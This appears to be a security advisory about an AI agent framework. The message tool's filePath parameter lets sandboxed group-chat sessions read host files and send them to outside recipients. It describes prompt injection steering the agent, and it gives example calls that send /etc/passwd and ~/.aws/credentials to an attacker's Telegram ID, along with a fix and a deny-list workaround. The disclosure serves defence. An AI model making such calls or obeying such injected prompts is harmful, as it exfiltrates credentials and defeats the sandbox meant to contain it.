Summary

The message tool's filePath parameter reads files directly from the host filesystem without validating whether the path is within the sandbox boundary. This allows sandboxed sessions (e.g., group chats) to read and exfiltrate arbitrary files from the host system.

Severity

CRITICAL - Data exfiltration, credential theft, complete sandbox bypass

Affected Versions

• Confirmed on: 2026.1.24-3
• Likely affects: All versions with sandbox + message tool

Environment

• OS: Amazon Linux 2023 (arm64)
• Node: v22.22.0
• Channel: Telegram
• Sandbox mode: Docker (sandbox.mode: "non-main")

Vulnerability Details

Root Cause

The message tool accepts a filePath parameter to send files as attachments. Unlike other file-related tools (read, write, image), the message tool does not validate that filePath is within the sandbox root.

Attack Vector

1. Attacker sends a prompt to a sandboxed group session
2. Group session is manipulated (via prompt injection or social engineering) to call:

   message(action="send", filePath="/etc/passwd", target="<attacker_telegram_id>")

3. File is read from HOST filesystem and sent to attacker
4. Sandbox provides no protection

Proof of Concept

From a sandboxed Telegram group session:

// This should fail but succeeds
message({
  action: "send",
  filePath: "/home/user/.aws/credentials",
  target: "attacker_id",
  message: "test"
})
// Result: File successfully sent to target

Impact

Files Successfully Exfiltrated (in our incident)

Blocked by OS permissions (not by sandbox)

Expected Behavior

The message tool should validate filePath against the sandbox root before reading:

if (filePath && !isInsideSandbox(filePath, sandboxRoot)) {
  throw new Error(`Access denied: path outside sandbox`);
}

Actual Behavior

filePath is read directly from the host filesystem with no sandbox validation.

Comparison with Other Tools

Suggested Fix

1. Immediate: Add path validation to message tool's filePath handler
2. Defense in depth: Apply the same sandbox path validation used by read/write tools
3. Audit: Check all other tools with file path parameters for similar issues

Example Fix

// In message tool handler
if (filePath) {
  const resolvedPath = path.resolve(filePath);
  const sandboxRoot = getSandboxRoot(session);
  
  if (!resolvedPath.startsWith(sandboxRoot)) {
    return { error: `Access denied: ${filePath} is outside sandbox` };
  }
  
  // Also check for symlink escape
  const realPath = fs.realpathSync(resolvedPath);
  if (!realPath.startsWith(sandboxRoot)) {
    return { error: `Access denied: symlink escape detected` };
  }
}

Workaround

Add message to the sandbox deny list:

{
  "tools": {
    "sandbox": {
      "tools": {
        "deny": ["message"]
      }
    }
  }
}

Caveat: This completely disables file sending from sandboxed sessions.

Timeline

• 2026-01-29 04:37 UTC: Vulnerability discovered during security testing
• 2026-01-29 04:50 UTC: Files exfiltrated as PoC
• 2026-01-29 05:17 UTC: Mitigated by denying message tool in sandbox
• 2026-01-29 05:19 UTC: Mitigation confirmed effective

Additional Notes

This vulnerability is particularly dangerous because:

1. Prompt injection amplifies risk: Any user in a group can potentially manipulate the agent
2. No audit trail: Files are sent directly via Telegram, bypassing host logging
3. Cross-tenant risk: In multi-user deployments, one user could access another's files
4. Cloud metadata risk: Could potentially read IMDS tokens if network allows

Please treat this as a critical security issue requiring immediate patch.